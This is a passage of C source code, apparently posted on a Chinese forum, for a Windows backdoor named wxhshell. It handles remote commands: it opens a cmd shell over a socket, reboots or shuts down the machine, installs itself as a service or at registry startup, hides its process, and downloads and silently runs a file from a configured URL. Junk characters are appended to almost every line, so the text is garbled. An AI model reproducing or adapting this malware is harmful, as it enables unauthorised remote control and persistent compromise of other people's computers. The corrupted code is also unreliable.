  } YiO}"  
  else { UTh2? Rh/  
2PyuM=(Wt  
    switch(cmd[0]) { s_/@`kd{  
  nUpj+F#  
  // 帮助 Rf8Obk<  
  case '?': { `WOoC   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f tTD-d  
    break; jn|NrvrX  
  } aOGoJCt C  
  // 安装 F t11?D B  
  case 'i': { S/)),~`4  
    if(Install()) 9;v3 (U+:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Hr<QiAK  
    else #1E4 R}B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yKl^-%Uq<  
    break; ;&=CZ6vH  
    } }.)R#hG?  
  // 卸载 >8I~i:hn  
  case 'r': { kE'p=dXx  
    if(Uninstall()) 8QJr!#u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jFdgFK c)  
    else 36(qe"s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); en'[_43  
    break; HJN GO[*g  
    } 1?H; c5?d&  
  // 显示 wxhshell 所在路径 gU+yqT7=  
  case 'p': { "=s}xAM|A  
    char svExeFile[MAX_PATH]; |Jd8ul:&e  
    strcpy(svExeFile,"\n\r"); Y+Z+Y)K  
      strcat(svExeFile,ExeFile); tq h)yr;  
        send(wsh,svExeFile,strlen(svExeFile),0); ,\"x#Cc f  
    break; }|| p#R@?  
    } 1/?Wa  
  // 重启 vc|tp_M67  
  case 'b': { #oTVfY#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g]L8Jli  
    if(Boot(REBOOT)) }C_g;7*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\cTd/?Ju  
    else { 1$03:ve1  
    closesocket(wsh); J' P:SC1  
    ExitThread(0); k 6[   
    } eK1l~W%  
    break; Tx K v!-1  
    } \A\  
  // 关机  ,c`6-  
  case 'd': { 5 l8F.LtO\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yJC: bD1xi  
    if(Boot(SHUTDOWN)) /c=8$y\%@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >oJab R  
    else { c Q-#]  
    closesocket(wsh); A'jL+dI.  
    ExitThread(0); W)r|9G8T  
    } mv:@D  
    break; u-iQ  
    } \Qah*1  
  // 获取shell jm<^WQ%Cc  
  case 's': { 0qFO+nC  
    CmdShell(wsh); ;hq_}.  
    closesocket(wsh); V)~b+D  
    ExitThread(0); Z1q<) O1QX  
    break; !%t@wQ]\hG  
  } `;}qjm0a  
  // 退出 nw/g[/<;  
  case 'x': { vo }4N[]Sb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o'$-  
    CloseIt(wsh); .jP|b~  
    break; P??P"^hU  
    } Vbp@n  
  // 离开 .$cX:"_Mk  
  case 'q': { n%36a(] t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /7S g/d%c  
    closesocket(wsh); U~yPQ8jD  
    WSACleanup(); 5g-1pzP9  
    exit(1); ],!}&#|  
    break; h& 4#5{=  
        } ZK t{3P  
  } B]yO  
  }  -V2`[k  
Z<d=v3q  
  // 提示信息 \\ R<HuTY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {f4jE#a>v  
} _X?_|!;J  
  } 4>d]0=x  
8u)>o* :  
  return; k8n9zJ8  
} sSKD"  
)UU`uzU;u  
// shell模块句柄 B=W#eu <1  
int CmdShell(SOCKET sock) 3'L =S  
{ 30I-E ._F  
STARTUPINFO si; qm_r~j  
ZeroMemory(&si,sizeof(si)); 9 AD*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Da[#X`Kp$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y]6d Yq{k  
PROCESS_INFORMATION ProcessInfo; Fg p|gw4  
char cmdline[]="cmd"; u{uqK7]+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 90abA,U@  
  return 0; <n k/w5nKL  
} #o~C0`8!B=  
%?V~7tHm>  
// 自身启动模式 _M8'~$Sg  
int StartFromService(void) EVqqOp1$v4  
{ au=@]n#<(  
typedef struct W^HE1Dt]  
{ a|y'-r90  
  DWORD ExitStatus; #G(ivRo  
  DWORD PebBaseAddress; |ul{d|  
  DWORD AffinityMask; cY!Pv  
  DWORD BasePriority; HI:1Voy  
  ULONG UniqueProcessId; N6BOUU]  
  ULONG InheritedFromUniqueProcessId; WS4DzuZZ  
}   PROCESS_BASIC_INFORMATION; *7*cWO=  
(0y!{ (a  
PROCNTQSIP NtQueryInformationProcess; D5Rp<PBq,  
>u0XV"g$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4yTgH0(T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \goiW;b  
Zonn  
  HANDLE             hProcess; PL31(!`@d  
  PROCESS_BASIC_INFORMATION pbi; N8x&<H  
PS!or!m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MR4k#{:w  
  if(NULL == hInst ) return 0; Y>c+j  
<M5fk?n,|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6,1oLvU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w?*79 u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4k{xo~+%,  
Xep2 )3k>  
  if (!NtQueryInformationProcess) return 0; _'y`hKeI[  
4,YL15.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R$dNdd9m  
  if(!hProcess) return 0; *e:I*L  
'bH~KK5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TntTR"6aD  
ZjY?T)WE9  
  CloseHandle(hProcess); A ^hafBa  
VS`{k^^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OqH3. @eK  
if(hProcess==NULL) return 0; 58mpW`Q  
Z"Q9^;0%  
HMODULE hMod; D\J.6W  
char procName[255]; x<w-j[{k_K  
unsigned long cbNeeded; 6e.l# c!1}  
7z\ #"~(.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |G/)<1P  
icVB?M,m  
  CloseHandle(hProcess); 3,hu3"@k  
]M"U 'Z  
if(strstr(procName,"services")) return 1; // 以服务启动 f*xv#G  
KT(v'KE 1  
  return 0; // 注册表启动 w4Hq|N1-Y  
} C*RPSk  
)Xt#coagS  
// 主模块 N3KI6p6\  
int StartWxhshell(LPSTR lpCmdLine) hhU\$'0B-  
{ 5}5oj37x  
  SOCKET wsl; 64"DT3:  
BOOL val=TRUE; nu|,wE!i  
  int port=0; C(>g4.-p8  
  struct sockaddr_in door; h'vBWtMa  
g&. OJ  
  if(wscfg.ws_autoins) Install(); NTCFmdbs 6  
ZcHIk{|  
port=atoi(lpCmdLine); [T [] U   
>@a7Zzl0H  
if(port<=0) port=wscfg.ws_port; F_/ra?WVH  
9@Cu5U]  
  WSADATA data; k %sxA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P,G :9x"e  
5w~J"P6jg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c;a<nTLn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V4n;N  
  door.sin_family = AF_INET; ~(Q#G" t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +l]> (k.2  
  door.sin_port = htons(port); k7sD"xR3  
dxS5-aWy9w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cd6th F)  
closesocket(wsl); 33~8@]b  
return 1; z'O+B}  
} k1P'Q&Na  
qMA";Frt3N  
  if(listen(wsl,2) == INVALID_SOCKET) { NCo!n$O1~  
closesocket(wsl); 8B!QqLqK  
return 1; MlS5/9m@^  
} @1bl<27  
  Wxhshell(wsl); G%!i="/9  
  WSACleanup(); {}RU'<D  
{z;K0  
return 0; 0#m=76[b  
NP4u/C<  
} f1U8 b*F<  
v7hw%9(=  
// 以NT服务方式启动 m9D Tz$S.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v<(+ l)Ln  
{ $|[N3  
DWORD   status = 0; PAC=LQn&  
  DWORD   specificError = 0xfffffff; =CdrhP_  
6p&uifY}tR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KP>1%ap6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2r+nr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  %(K}1[  
  serviceStatus.dwWin32ExitCode     = 0; X68.*VHh0  
  serviceStatus.dwServiceSpecificExitCode = 0; Ty7 `&  
  serviceStatus.dwCheckPoint       = 0; (_3'nFg  
  serviceStatus.dwWaitHint       = 0; ofI,[z3  
sint":1FC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'w<^4/L Q  
  if (hServiceStatusHandle==0) return; !HhF*Rlr  
s%~Nx3,  
status = GetLastError(); 0~[M[T\  
  if (status!=NO_ERROR) 'V <ZmJ2  
{ 0;OZ|;Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~Dw% d;  
    serviceStatus.dwCheckPoint       = 0; n\BV*AH  
    serviceStatus.dwWaitHint       = 0; */@I$*  
    serviceStatus.dwWin32ExitCode     = status; @~5Fcfmm  
    serviceStatus.dwServiceSpecificExitCode = specificError; _^ n>kLd$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *xj2Z,u  
    return; VP~%,=  
  } zYWVz3l  
Z0XQ|gkH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <y7Hy&&y-  
  serviceStatus.dwCheckPoint       = 0; -H|!KnR  
  serviceStatus.dwWaitHint       = 0; YV>&v.x0;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W+4Bx=Mj  
} (Gapv9R  
VpY,@qh  
// 处理NT服务事件,比如:启动、停止 8b4? O"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XgeUS;qtta  
{ 7xWJw  
switch(fdwControl) `fG<iBD  
{ cbzS7q<)  
case SERVICE_CONTROL_STOP: 4/ q BD  
  serviceStatus.dwWin32ExitCode = 0; i3$G)W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y~M 6  
  serviceStatus.dwCheckPoint   = 0; 1g$xKe~]4  
  serviceStatus.dwWaitHint     = 0; j>.1RG  
  { vI48*&]wTf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F/:%YR;  
  } $?[pcgv  
  return; )U]q{0`  
case SERVICE_CONTROL_PAUSE: :DuEv:;v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6O0aGJ,H  
  break; _t4(H))]vG  
case SERVICE_CONTROL_CONTINUE: 5 5Mtjqfp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hew"p(`  
  break; g1l:k1\Ht  
case SERVICE_CONTROL_INTERROGATE: G$CSZrP.  
  break; Q+_z*  
}; !u4eI0?R?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t.bM]QU!1  
} ?hURNlR_Q  
^![7X'!;pt  
// 标准应用程序主函数 ~~t >;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]xJ. OUJy  
{ /,$V/q+  
+<B"g{dLuX  
// 获取操作系统版本 4((p?jb C  
OsIsNt=GetOsVer(); {Dy,u%W?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BmYX8j]  
0Xn,q]@Z  
  // 从命令行安装 pDhUD}1G  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;DKJ#tS}"  
6Tm7|2R  
  // 下载执行文件 dAOJ: @y  
if(wscfg.ws_downexe) { Kf,AnKkn'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hm<:\(q  
  WinExec(wscfg.ws_filenam,SW_HIDE); A4KkX  
} OekE]`~w  
jj ' epbA  
if(!OsIsNt) { =k1sF3.V'c  
// 如果时win9x,隐藏进程并且设置为注册表启动 ']1a  
HideProc(); CqU^bVs  
StartWxhshell(lpCmdLine); I'2I'x\M  
} 8"V1h72vcW  
else ]<Q&  
  if(StartFromService()) fy&u[Jd{  
  // 以服务方式启动 #nZPnc:  
  StartServiceCtrlDispatcher(DispatchTable); P9q=tC3^  
else   
  // 普通方式启动 0]nveC$  
  StartWxhshell(lpCmdLine); dAM]ZR<  
[ThAv Q_$  
return 0; V <ilv<  
}
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只看该作者 1 发表于: 2006-10-10
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